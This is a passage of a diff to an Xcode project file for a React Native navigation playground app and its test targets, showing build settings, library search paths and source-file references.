"\"${PODS_CONFIGURATION_BUILD_DIR}/SDWebImage\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/SDWebImageWebPCoder\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/SocketRocket\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/Yoga\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/fmt\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/glog\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/libevent\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/libwebp\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/react-native-blur\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/react-native-netinfo\"", - ); - MTL_FAST_MATH = YES; - PRODUCT_BUNDLE_IDENTIFIER = rn.NavigationIOS12Tests; - PRODUCT_NAME = "$(TARGET_NAME)"; - TARGETED_DEVICE_FAMILY = "1,2"; - TEST_HOST = "$(BUILT_PRODUCTS_DIR)/playground.app/playground"; - }; - name = Release; - }; - 83CBBA201A601CBA00E9B192 /* Debug */ = { - isa = XCBuildConfiguration; - buildSettings = { - ALWAYS_SEARCH_USER_PATHS = NO; - CLANG_ANALYZER_LOCALIZABILITY_NONLOCALIZED = YES; - CLANG_CXX_LANGUAGE_STANDARD = "c++20"; - CLANG_CXX_LIBRARY = "libc++"; - CLANG_ENABLE_MODULES = YES; - CLANG_ENABLE_OBJC_ARC = YES; - CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; - CLANG_WARN_BOOL_CONVERSION = YES; - CLANG_WARN_COMMA = YES; - CLANG_WARN_CONSTANT_CONVERSION = YES; - CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; - CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; - CLANG_WARN_EMPTY_BODY = YES; - CLANG_WARN_ENUM_CONVERSION = YES; - CLANG_WARN_INFINITE_RECURSION = YES; - CLANG_WARN_INT_CONVERSION = YES; - CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; - CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; - CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; - CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; - CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; - CLANG_WARN_STRICT_PROTOTYPES = YES; - CLANG_WARN_SUSPICIOUS_MOVE = YES; - CLANG_WARN_UNREACHABLE_CODE = YES; - CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; - "CODE_SIGN_IDENTITY[sdk=iphoneos*]" = "iPhone Developer"; - COPY_PHASE_STRIP = NO; - ENABLE_STRICT_OBJC_MSGSEND = YES; - ENABLE_TESTABILITY = YES; - "EXCLUDED_ARCHS[sdk=iphonesimulator*]" = i386; - GCC_C_LANGUAGE_STANDARD = gnu99; - GCC_DYNAMIC_NO_PIC = NO; - GCC_NO_COMMON_BLOCKS = YES; - GCC_OPTIMIZATION_LEVEL = 0; - GCC_PREPROCESSOR_DEFINITIONS = ( - "DEBUG=1", - "$(inherited)", - "USE_HERMES=1", - ); - GCC_SYMBOLS_PRIVATE_EXTERN = NO; - GCC_WARN_64_TO_32_BIT_CONVERSION = YES; - GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; - GCC_WARN_UNDECLARED_SELECTOR = YES; - GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; - GCC_WARN_UNUSED_FUNCTION = YES; - GCC_WARN_UNUSED_VARIABLE = YES; - IPHONEOS_DEPLOYMENT_TARGET = 11.0; - MTL_ENABLE_DEBUG_INFO = YES; - ONLY_ACTIVE_ARCH = YES; - OTHER_CFLAGS = ( - "$(inherited)", - "-DRN_FABRIC_ENABLED", - "-DRCT_REMOVE_LEGACY_ARCH=1", - ); - OTHER_CPLUSPLUSFLAGS = ( - "$(inherited)", - "-DRN_FABRIC_ENABLED", - "-DRCT_REMOVE_LEGACY_ARCH=1", - ); - OTHER_LDFLAGS = ""; - REACT_NATIVE_PATH = "${PODS_ROOT}/../../node_modules/react-native"; - SDKROOT = iphoneos; - SWIFT_ACTIVE_COMPILATION_CONDITIONS = "$(inherited) DEBUG"; - SWIFT_ENABLE_EXPLICIT_MODULES = NO; - USE_HERMES = true; - }; - name = Debug; - }; - 83CBBA211A601CBA00E9B192 /* Release */ = { - isa = XCBuildConfiguration; - buildSettings = { - ALWAYS_SEARCH_USER_PATHS = NO; - CLANG_ANALYZER_LOCALIZABILITY_NONLOCALIZED = YES; - CLANG_CXX_LANGUAGE_STANDARD = "c++20"; - CLANG_CXX_LIBRARY = "libc++"; - CLANG_ENABLE_MODULES = YES; - CLANG_ENABLE_OBJC_ARC = YES; - CLANG_WARN_BLOCK_CAPTURE_AUTORELEASING = YES; - CLANG_WARN_BOOL_CONVERSION = YES; - CLANG_WARN_COMMA = YES; - CLANG_WARN_CONSTANT_CONVERSION = YES; - CLANG_WARN_DEPRECATED_OBJC_IMPLEMENTATIONS = YES; - CLANG_WARN_DIRECT_OBJC_ISA_USAGE = YES_ERROR; - CLANG_WARN_EMPTY_BODY = YES; - CLANG_WARN_ENUM_CONVERSION = YES; - CLANG_WARN_INFINITE_RECURSION = YES; - CLANG_WARN_INT_CONVERSION = YES; - CLANG_WARN_NON_LITERAL_NULL_CONVERSION = YES; - CLANG_WARN_OBJC_IMPLICIT_RETAIN_SELF = YES; - CLANG_WARN_OBJC_LITERAL_CONVERSION = YES; - CLANG_WARN_OBJC_ROOT_CLASS = YES_ERROR; - CLANG_WARN_RANGE_LOOP_ANALYSIS = YES; - CLANG_WARN_STRICT_PROTOTYPES = YES; - CLANG_WARN_SUSPICIOUS_MOVE = YES; - CLANG_WARN_UNREACHABLE_CODE = YES; - CLANG_WARN__DUPLICATE_METHOD_MATCH = YES; - "CODE_SIGN_IDENTITY[sdk=iphoneos*]" = "iPhone Developer"; - COPY_PHASE_STRIP = YES; - ENABLE_NS_ASSERTIONS = NO; - ENABLE_STRICT_OBJC_MSGSEND = YES; - "EXCLUDED_ARCHS[sdk=iphonesimulator*]" = i386; - GCC_C_LANGUAGE_STANDARD = gnu99; - GCC_NO_COMMON_BLOCKS = YES; - GCC_PREPROCESSOR_DEFINITIONS = "USE_HERMES=1"; - GCC_WARN_64_TO_32_BIT_CONVERSION = YES; - GCC_WARN_ABOUT_RETURN_TYPE = YES_ERROR; - GCC_WARN_UNDECLARED_SELECTOR = YES; - GCC_WARN_UNINITIALIZED_AUTOS = YES_AGGRESSIVE; - GCC_WARN_UNUSED_FUNCTION = YES; - GCC_WARN_UNUSED_VARIABLE = YES; - IPHONEOS_DEPLOYMENT_TARGET = 11.0; - MTL_ENABLE_DEBUG_INFO = NO; - OTHER_CFLAGS = ( - "$(inherited)", - "-DRN_FABRIC_ENABLED", - "-DRCT_REMOVE_LEGACY_ARCH=1", - ); - OTHER_CPLUSPLUSFLAGS = ( - "$(inherited)", - "-DRN_FABRIC_ENABLED", - "-DRCT_REMOVE_LEGACY_ARCH=1", - ); - OTHER_LDFLAGS = ""; - REACT_NATIVE_PATH = "${PODS_ROOT}/../../node_modules/react-native"; - SDKROOT = iphoneos; - SWIFT_ENABLE_EXPLICIT_MODULES = NO; - USE_HERMES = true; - VALIDATE_PRODUCT = YES; - }; - name = Release; - }; - E58D2622238587F4003F36BA /* Debug */ = { - isa = XCBuildConfiguration; - baseConfigurationReference = 4259AF43A23D928FE78B4A3A /* Pods-NavigationTests.debug.xcconfig */; - buildSettings = { - BUNDLE_LOADER = "$(TEST_HOST)"; - CLANG_ANALYZER_NONNULL = YES; - CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; - CLANG_CXX_LANGUAGE_STANDARD = "c++20"; - CLANG_ENABLE_OBJC_WEAK = YES; - CLANG_WARN_DOCUMENTATION_COMMENTS = YES; - CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; - CODE_SIGN_STYLE = Automatic; - DEBUG_INFORMATION_FORMAT = dwarf; - DEVELOPMENT_TEAM = ""; - GCC_C_LANGUAGE_STANDARD = gnu11; - HEADER_SEARCH_PATHS = ( - "$(inherited)", - "$(SRCROOT)/../../ios/**", - "${PODS_ROOT}/Headers/Private", - ); - INFOPLIST_FILE = NavigationTests/Info.plist; - IPHONEOS_DEPLOYMENT_TARGET = 13.0; - LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks @loader_path/Frameworks"; - MTL_ENABLE_DEBUG_INFO = INCLUDE_SOURCE; - MTL_FAST_MATH = YES; - PRODUCT_BUNDLE_IDENTIFIER = com.wix.NavigationTests; - PRODUCT_NAME = "$(TARGET_NAME)"; - TARGETED_DEVICE_FAMILY = "1,2"; - TEST_HOST = "$(BUILT_PRODUCTS_DIR)/playground.app/playground"; - }; - name = Debug; - }; - E58D2623238587F4003F36BA /* Release */ = { - isa = XCBuildConfiguration; - baseConfigurationReference = D95A99C17C65D674BA9DF26B /* Pods-NavigationTests.release.xcconfig */; - buildSettings = { - BUNDLE_LOADER = "$(TEST_HOST)"; - CLANG_ANALYZER_NONNULL = YES; - CLANG_ANALYZER_NUMBER_OBJECT_CONVERSION = YES_AGGRESSIVE; - CLANG_CXX_LANGUAGE_STANDARD = "c++20"; - CLANG_ENABLE_OBJC_WEAK = YES; - CLANG_WARN_DOCUMENTATION_COMMENTS = YES; - CLANG_WARN_UNGUARDED_AVAILABILITY = YES_AGGRESSIVE; - CODE_SIGN_STYLE = Automatic; - COPY_PHASE_STRIP = NO; - DEBUG_INFORMATION_FORMAT = "dwarf-with-dsym"; - DEVELOPMENT_TEAM = ""; - GCC_C_LANGUAGE_STANDARD = gnu11; - HEADER_SEARCH_PATHS = ( - "$(inherited)", - "$(SRCROOT)/../../ios/**", - "${PODS_ROOT}/Headers/Private", - ); - INFOPLIST_FILE = NavigationTests/Info.plist; - IPHONEOS_DEPLOYMENT_TARGET = 13.0; - LD_RUNPATH_SEARCH_PATHS = "$(inherited) @executable_path/Frameworks @loader_path/Frameworks"; - LIBRARY_SEARCH_PATHS = ( - "$(SDKROOT)/usr/lib/swift", - "$(inherited)", - "\"${PODS_CONFIGURATION_BUILD_DIR}/CocoaAsyncSocket\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/DoubleConversion\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/HMSegmentedControl\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/OCMock\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/RCT-Folly\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/RCTTypeSafety\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/RNDateTimePicker\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/RNFastImage\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/RNGestureHandler\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/RNReanimated\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-Codegen\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-Core\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-CoreModules\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTAnimation\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTBlob\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTImage\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTLinking\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTNetwork\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTSettings\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTText\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-RCTVibration\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-bridging\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-cxxreact\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-jsi\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-jsiexecutor\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-jsinspector\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-logger\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/React-perflogger\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/ReactCommon\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/ReactNativeNavigation\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/SDWebImage\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/SDWebImageWebPCoder\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/SocketRocket\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/Yoga\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/YogaKit\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/fmt\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/glog\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/libevent\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/libwebp\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/react-native-blur\"", - "\"${PODS_CONFIGURATION_BUILD_DIR}/react-native-netinfo\"", - ); - MTL_FAST_MATH = YES; - PRODUCT_BUNDLE_IDENTIFIER = com.wix.NavigationTests; - PRODUCT_NAME = "$(TARGET_NAME)"; - TARGETED_DEVICE_FAMILY = "1,2"; - TEST_HOST = "$(BUILT_PRODUCTS_DIR)/playground.app/playground"; - }; - name = Release; - }; -/* End XCBuildConfiguration section */ - -/* Begin XCConfigurationList section */ - 13B07F931A680F5B00A75B9A /* Build configuration list for PBXNativeTarget "playground" */ = { - isa = XCConfigurationList; - buildConfigurations = ( - 13B07F941A680F5B00A75B9A /* Debug */, - 13B07F951A680F5B00A75B9A /* Release */, - ); - defaultConfigurationIsVisible = 0; - defaultConfigurationName = Debug; - }; - 507C80E12429111F00F765F7 /* Build configuration list for PBXNativeTarget "SnapshotTests" */ = { - isa = XCConfigurationList; - buildConfigurations = ( - 507C80E22429111F00F765F7 /* Debug */, - 507C80E32429111F00F765F7 /* Release */, - ); - defaultConfigurationIsVisible = 0; - defaultConfigurationName = Debug; - }; - 50996C6623AA46DD00008F89 /* Build configuration list for PBXNativeTarget "NavigationIOS12Tests" */ = { - isa = XCConfigurationList; - buildConfigurations = ( - 50996C6423AA46DD00008F89 /* Debug */, - 50996C6523AA46DD00008F89 /* Release */, - ); - defaultConfigurationIsVisible = 0; - defaultConfigurationName = Debug; - }; - 83CBB9FA1A601CBA00E9B192 /* Build configuration list for PBXProject "playground" */ = { - isa = XCConfigurationList; - buildConfigurations = ( - 83CBBA201A601CBA00E9B192 /* Debug */, - 83CBBA211A601CBA00E9B192 /* Release */, - ); - defaultConfigurationIsVisible = 0; - defaultConfigurationName = Debug; - }; - E58D2624238587F4003F36BA /* Build configuration list for PBXNativeTarget "NavigationTests" */ = { - isa = XCConfigurationList; - buildConfigurations = ( - E58D2622238587F4003F36BA /* Debug */, - E58D2623238587F4003F36BA /* Release */, - ); - defaultConfigurationIsVisible = 0; - defaultConfigurationName = Debug; - }; -/* End XCConfigurationList section */ - }; - rootObject = 83CBB9F71A601CBA00E9B192 /* Project object */; -} +// !$*UTF8*$! +{ + archiveVersion = 1; + classes = { + }; + objectVersion = 46; + objects = { + +/* Begin PBXBuildFile section */ + 13B07FBC1A68108700A75B9A /* AppDelegate.mm in Sources */ = {isa = PBXBuildFile; fileRef = 13B07FB01A68108700A75B9A /* AppDelegate.mm */; }; + 13B07FBF1A68108700A75B9A /* Images.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 13B07FB51A68108700A75B9A /* Images.xcassets */; }; + 13B07FC11A68108700A75B9A /* main.m in Sources */ = {isa = PBXBuildFile; fileRef = 13B07FB71A68108700A75B9A /* main.m */; }; + 5006E16627974DEA00D106A6 /* RNNModalHostViewManagerHandlerTest.mm in Sources */ = {isa = PBXBuildFile; fileRef = 5006E16527974DEA00D106A6 /* RNNModalHostViewManagerHandlerTest.mm */; }; + 5007B4312472CA390002AA4E /* RNNNativeViewController.mm in Sources */ = {isa = PBXBuildFile; fileRef = 5007B4302472CA390002AA4E /* RNNNativeViewController.mm */; }; + 5007B4342472CBD40002AA4E /* RNNCustomViewController.mm in Sources */ = {isa = PBXBuildFile; fileRef = 5007B4322472CBD30002AA4E /* RNNCustomViewController.mm */; }; + 5007B4352472D3C90002AA4E /* RNNNativeViewController.mm in Sources */ = {isa = PBXBuildFile; fileRef = 5007B4302472CA390002AA4E /* RNNNativeViewController.mm */; }; + 5007B4362472D3CC0002AA4E /* RNNCustomViewController.mm in Sources */ = {isa = PBXBuildFile; fileRef = 5007B4322472CBD30002AA4E /* RNNCustomViewController.mm */; }; + 5007B4382472D9A20002AA4E /* RNNCustomViewController.mm in Sources */ = {isa = PBXBuildFile; fileRef = 5007B4322472CBD30002AA4E /* RNNCustomViewController.mm */; }; + 5007B4392472D9A70002AA4E /* RNNNativeViewController.mm in Sources */ = {isa = PBXBuildFile; fileRef = 5007B4302472CA390002AA4E /* RNNNativeViewController.mm */; }; + 500E9FE72406A52100C61231 /* BottomTabPresenterTest.mm in Sources */ = {isa = PBXBuildFile; fileRef = 500E9FE62406A4E200C61231 /* BottomTabPresenterTest.mm */; }; + 501C86B9239FE9C400E0B631 /* UIImage+Utils.mm in Sources */ = {isa = PBXBuildFile; fileRef = 501C86B8239FE9C400E0B631 /* UIImage+Utils.mm */; }; + 5022EDCD2405522000852BA6 /* RNNBottomTabsPresenterTest.mm in Sources */ = {isa = PBXBuildFile; fileRef = E58D263A2385888C003F36BA /* RNNBottomTabsPresenterTest.mm */; }; + 5022EDCE2405524700852BA6 /* RNNBottomTabsAppearancePresenterTest.mm in Sources */ = {isa = PBXBuildFile; fileRef = 5022EDCB240551EE00852BA6 /* RNNBottomTabsAppearancePresenterTest.mm */; }; + 502734AF24F3E9BA0022163C /* ColorParserTest.mm in Sources */ = {isa = PBXBuildFile; fileRef = 502734AE24F3E9110022163C /* ColorParserTest.mm */; }; + 503F775C24D19D96005E596D /* RNNModalManagerEventHandlerTest.mm in Sources */ = {isa = PBXBuildFile; fileRef = 503F775B24D19D96005E596D /* RNNModalManagerEventHandlerTest.mm */; }; + 50418977250788AE004A6BC7 /* FBSnapshotTestCasePlatform.mm in Sources */ = {isa = PBXBuildFile; fileRef = 50418968250788AE004A6BC7 /* FBSnapshotTestCasePlatform.mm */; }; + 50418978250788AE004A6BC7 /* FBSnapshotTestController.mm in Sources */ = {isa = PBXBuildFile; fileRef = 5041896A250788AE004A6BC7 /* FBSnapshotTestController.mm */; }; + 5041897A250788AE004A6BC7 /* FBSnapshotTestCase-Info.plist in Resources */ = {isa = PBXBuildFile; fileRef = 5041896C250788AE004A6BC7 /* FBSnapshotTestCase-Info.plist */; }; + 5041897B250788AE004A6BC7 /* FBSnapshotTestCase.mm in Sources */ = {isa = PBXBuildFile; fileRef = 5041896D250788AE004A6BC7 /* FBSnapshotTestCase.mm */; }; + 5041897C250788AE004A6BC7 /* UIImage+Snapshot.mm in Sources */ = {isa = PBXBuildFile; fileRef = 50418971250788AE004A6BC7 /* UIImage+Snapshot.mm */; }; + 5041897D250788AE004A6BC7 /* UIImage+Compare.mm in Sources */ = {isa = PBXBuildFile; fileRef = 50418972250788AE004A6BC7 /* UIImage+Compare.mm */; }; + 5041897E250788AE004A6BC7 /* UIImage+Diff.mm in Sources */ = {isa = PBXBuildFile; fileRef = 50418973250788AE004A6BC7 /* UIImage+Diff.mm */; }; + 50647FE323E3196800B92025 /* RNNExternalViewControllerTests.mm in Sources */ = {isa = PBXBuildFile; fileRef = 50647FE223E3196800B92025 /* RNNExternalViewControllerTests.mm */; }; + 5064A388256A85EB00D7AC84 /* NSArray+utilsTest.mm in Sources */ = {isa = PBXBuildFile; fileRef = 5064A387256A85EB00D7AC84 /* NSArray+utilsTest.mm */; }; + 50650A23242FB0F800688104 /* CommandsHandlerCreator.mm in Sources */ = {isa = PBXBuildFile; fileRef = 50650A22242FB0F800688104 /* CommandsHandlerCreator.mm */; }; + 5078DF39242BE8AA007B0B4F /* TestingAppDelegate.mm in Sources */ = {isa = PBXBuildFile; fileRef = 5078DF38242BE8AA007B0B4F /* TestingAppDelegate.mm */; }; + 507C80E5242912AD00F765F7 /* RNNTestRootViewCreator.mm in Sources */ = {isa = PBXBuildFile; fileRef = E58D263D2385888C003F36BA /* RNNTestRootViewCreator.mm */; }; + 507C80E7242914C800F765F7 /* StackOptionsTest.mm in Sources */ = {isa = PBXBuildFile; fileRef = 50E4888A2427DA4800B11A8E /* StackOptionsTest.mm */; }; + 507C80E8242A1E6F00F765F7 /* AppDelegate.mm in Sources */ = {isa = PBXBuildFile; fileRef = 13B07FB01A68108700A75B9A /* AppDelegate.mm */; }; + 507C80EC242BC6FB00F765F7 /* LayoutCreator.mm in Sources */ = {isa = PBXBuildFile; fileRef = 507C80EB242BC6FB00F765F7 /* LayoutCreator.mm */; }; + 50996C6823AA477400008F89 /* RNNRootViewControllerTest.mm in Sources */ = {isa = PBXBuildFile; fileRef = 50996C6723AA477400008F89 /* RNNRootViewControllerTest.mm */; }; + 50996C6923AA487800008F89 /* RNNTestRootViewCreator.mm in Sources */ = {isa = PBXBuildFile; fileRef = E58D263D2385888C003F36BA /* RNNTestRootViewCreator.mm */; }; + 50BCB27623F1A2B100D6C8E5 /* TopBarAppearancePresenterTest.mm in Sources */ = {isa = PBXBuildFile; fileRef = 50BCB27523F1A26600D6C8E5 /* TopBarAppearancePresenterTest.mm */; }; + 50C085E62591341600B0502C /* RNNUIBarButtonItemTest.mm in Sources */ = {isa = PBXBuildFile; fileRef = 50C085E52591341600B0502C /* RNNUIBarButtonItemTest.mm */; }; + 50C085E8259141E200B0502C /* RNNButtonsPresenterTest.mm in Sources */ = {isa = PBXBuildFile; fileRef = 50C085E7259141E200B0502C /* RNNButtonsPresenterTest.mm */; }; + 50C085F52594973000B0502C /* RNNComponentViewController+Utils.mm in Sources */ = {isa = PBXBuildFile; fileRef = 50C9A8D3240FB9D000BD699F /* RNNComponentViewController+Utils.mm */; }; + 50C9A8D1240EB95F00BD699F /* RNNBottomTabsController+Helpers.mm in Sources */ = {isa = PBXBuildFile; fileRef = 50CF233C240695B10098042D /* RNNBottomTabsController+Helpers.mm */; }; + 50C9A8D4240FB9D000BD699F /* RNNComponentViewController+Utils.mm in Sources */ = {isa = PBXBuildFile; fileRef = 50C9A8D3240FB9D000BD699F /* RNNComponentViewController+Utils.mm */; }; + 50CF233D240695B10098042D /* RNNBottomTabsController+Helpers.mm in Sources */ = {isa = PBXBuildFile; fileRef = 50CF233C240695B10098042D /* RNNBottomTabsController+Helpers.mm */; }; + 50FDEFBC258F5C5D008C9C3C /* RNNSearchBarOptionsTest.mm in Sources */ = {isa = PBXBuildFile; fileRef = 50FDEFBB258F5C5D008C9C3C /* RNNSearchBarOptionsTest.mm */; }; + 6B102251DCC578519C2DC6A4 /* libPods-NavigationIOS12Tests.a in Frameworks */ = {isa = PBXBuildFile; fileRef = C10F72071A488F801E1F1116 /* libPods-NavigationIOS12Tests.a */; }; + 8EB60A6CB93C527CC6A870A2 /* libPods-SnapshotTests.a in Frameworks */ = {isa = PBXBuildFile; fileRef = E8B4CFA18A5ACE953124E129 /* libPods-SnapshotTests.a */; }; + 9F9A3A9625260DA900AAAF37 /* LaunchScreen.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 9F9A3A9525260DA900AAAF37 /* LaunchScreen.storyboard */; }; + A55BD66DD6404C20A23DA948 /* libPods-NavigationTests.a in Frameworks */ = {isa = PBXBuildFile; fileRef = 18EFC85255DC04E4B557855F /* libPods-NavigationTests.a */; }; + CC58376A9F3639711BDD0562 /* libPods-playground.a in Frameworks */ = {isa = PBXBuildFile; fileRef = 33BE713009EFB937EA4BF877 /* libPods-playground.a */; }; + E58D26462385888C003F36BA /* UIViewController+LayoutProtocolTest.mm in Sources */ = {isa = PBXBuildFile; fileRef = E58D26252385888B003F36BA /* UIViewController+LayoutProtocolTest.mm */; }; + E58D26472385888C003F36BA /* RNNRootViewControllerTest.mm in Sources */ = {isa = PBXBuildFile; fileRef = E58D26262385888B003F36BA /* RNNRootViewControllerTest.mm */; }; + E58D26482385888C003F36BA /* RNNDotIndicatorPresenterTest.mm in Sources */ = {isa = PBXBuildFile; fileRef = E58D26272385888B003F36BA /* RNNDotIndicatorPresenterTest.mm */; }; + E58D26492385888C003F36BA /* RNNFontAttributesCreatorTest.mm in Sources */ = {isa = PBXBuildFile; fileRef = E58D26282385888B003F36BA /* RNNFontAttributesCreatorTest.mm */; }; + E58D264A2385888C003F36BA /* BottomTabsControllerTest.mm in Sources */ = {isa = PBXBuildFile; fileRef = E58D26292385888B003F36BA /* BottomTabsControllerTest.mm */; }; + E58D264B2385888C003F36BA /* RNNLayoutManagerTest.mm in Sources */ = {isa = PBXBuildFile; fileRef = E58D262A2385888B003F36BA /* RNNLayoutManagerTest.mm */; }; + E58D264C2385888C003F36BA /* RNNSideMenuParserTest.mm in Sources */ = {isa = PBXBuildFile; fileRef = E58D262B2385888B003F36BA /* RNNSideMenuParserTest.mm */; }; + E58D264D2385888C003F36BA /* RNNOverlayManagerTest.mm in Sources */ = {isa = PBXBuildFile; fileRef = E58D262D2385888B003F36BA /* RNNOverlayManagerTest.mm */; }; + E58D264E2385888C003F36BA /* RNNTestBase.mm in Sources */ = {isa = PBXBuildFile; fileRef = E58D262F2385888B003F36BA /* RNNTestBase.mm */; }; + E58D264F2385888C003F36BA /* RNNStackPresenterTest.mm in Sources */ = {isa = PBXBuildFile; fileRef = E58D26312385888B003F36BA /* RNNStackPresenterTest.mm */; }; + E58D26502385888C003F36BA /* RNNNavigationOptionsTest.mm in Sources */ = {isa = PBXBuildFile; fileRef = E58D26322385888B003F36BA /* RNNNavigationOptionsTest.mm */; }; + E58D26512385888C003F36BA /* RNNExternalComponentStoreTest.mm in Sources */ = {isa = PBXBuildFile; fileRef = E58D26332385888B003F36BA /* RNNExternalComponentStoreTest.mm */; }; + E58D26522385888C003F36BA /* RNNComponentPresenterTest.mm in Sources */ = {isa = PBXBuildFile; fileRef = E58D26352385888B003F36BA /* RNNComponentPresenterTest.mm */; }; + E58D26532385888C003F36BA /* RNNSideMenuPresenterTest.mm in Sources */ = {isa = PBXBuildFile; fileRef = E58D26362385888B003F36BA /* RNNSideMenuPresenterTest.mm */; }; + E58D26542385888C003F36BA /* RNNSideMenuControllerTest.mm in Sources */ = {isa = PBXBuildFile; fileRef = E58D26372385888B003F36BA /* RNNSideMenuControllerTest.mm */; }; + E58D26552385888C003F36BA /* RNNTransitionStateHolderTest.mm in Sources */ = {isa = PBXBuildFile; fileRef = E58D26382385888B003F36BA /* RNNTransitionStateHolderTest.mm */; }; + E58D26582385888C003F36BA /* UITabBarController+RNNOptionsTest.mm in Sources */ = {isa = PBXBuildFile; fileRef = E58D263B2385888C003F36BA /* UITabBarController+RNNOptionsTest.mm */; }; + E58D26592385888C003F36BA /* RNNNavigationStackManagerTest.mm in Sources */ = {isa = PBXBuildFile; fileRef = E58D263C2385888C003F36BA /* RNNNavigationStackManagerTest.mm */; }; + E58D265A2385888C003F36BA /* RNNTestRootViewCreator.mm in Sources */ = {isa = PBXBuildFile; fileRef = E58D263D2385888C003F36BA /* RNNTestRootViewCreator.mm */; }; + E58D265B2385888C003F36BA /* UIViewController+RNNOptionsTest.mm in Sources */ = {isa = PBXBuildFile; fileRef = E58D263E2385888C003F36BA /* UIViewController+RNNOptionsTest.mm */; }; + E58D265C2385888C003F36BA /* RNNStackControllerTest.mm in Sources */ = {isa = PBXBuildFile; fileRef = E58D263F2385888C003F36BA /* RNNStackControllerTest.mm */; }; + E58D265D2385888C003F36BA /* RNNViewControllerFactoryTest.mm in Sources */ = {isa = PBXBuildFile; fileRef = E58D26402385888C003F36BA /* RNNViewControllerFactoryTest.mm */; }; + E58D265E2385888C003F36BA /* RNNCommandsHandlerTest.mm in Sources */ = {isa = PBXBuildFile; fileRef = E58D26412385888C003F36BA /* RNNCommandsHandlerTest.mm */; }; + E58D265F2385888C003F36BA /* RNNBasePresenterTest.mm in Sources */ = {isa = PBXBuildFile; fileRef = E58D26422385888C003F36BA /* RNNBasePresenterTest.mm */; }; + E58D26602385888C003F36BA /* RNNModalManagerTest.mm in Sources */ = {isa = PBXBuildFile; fileRef = E58D26432385888C003F36BA /* RNNModalManagerTest.mm */; }; + E58D26612385888C003F36BA /* RNNTestNoColor.mm in Sources */ = {isa = PBXBuildFile; fileRef = E58D26452385888C003F36BA /* RNNTestNoColor.mm */; }; + F37104B81B0A0360736BF06D /* PrivacyInfo.xcprivacy in Resources */ = {isa = PBXBuildFile; fileRef = 323095228F740613FD9372D1 /* PrivacyInfo.xcprivacy */; }; +/* End PBXBuildFile section */ + +/* Begin PBXContainerItemProxy section */ + 507C80DF2429111F00F765F7 /* PBXContainerItemProxy */ = { + isa = PBXContainerItemProxy; + containerPortal = 83CBB9F71A601CBA00E9B192 /* Project object */; + proxyType = 1; + remoteGlobalIDString = 13B07F861A680F5B00A75B9A; + remoteInfo = playground; + }; + 50996C6223AA46DD00008F89 /* PBXContainerItemProxy */ = { + isa = PBXContainerItemProxy; + containerPortal = 83CBB9F71A601CBA00E9B192 /* Project object */; + proxyType = 1; + remoteGlobalIDString = 13B07F861A680F5B00A75B9A; + remoteInfo = playground; + }; + E58D2620238587F4003F36BA /* PBXContainerItemProxy */ = { + isa = PBXContainerItemProxy; + containerPortal = 83CBB9F71A601CBA00E9B192 /* Project object */; + proxyType = 1; + remoteGlobalIDString = 13B07F861A680F5B00A75B9A; + remoteInfo = playground; + }; +/* 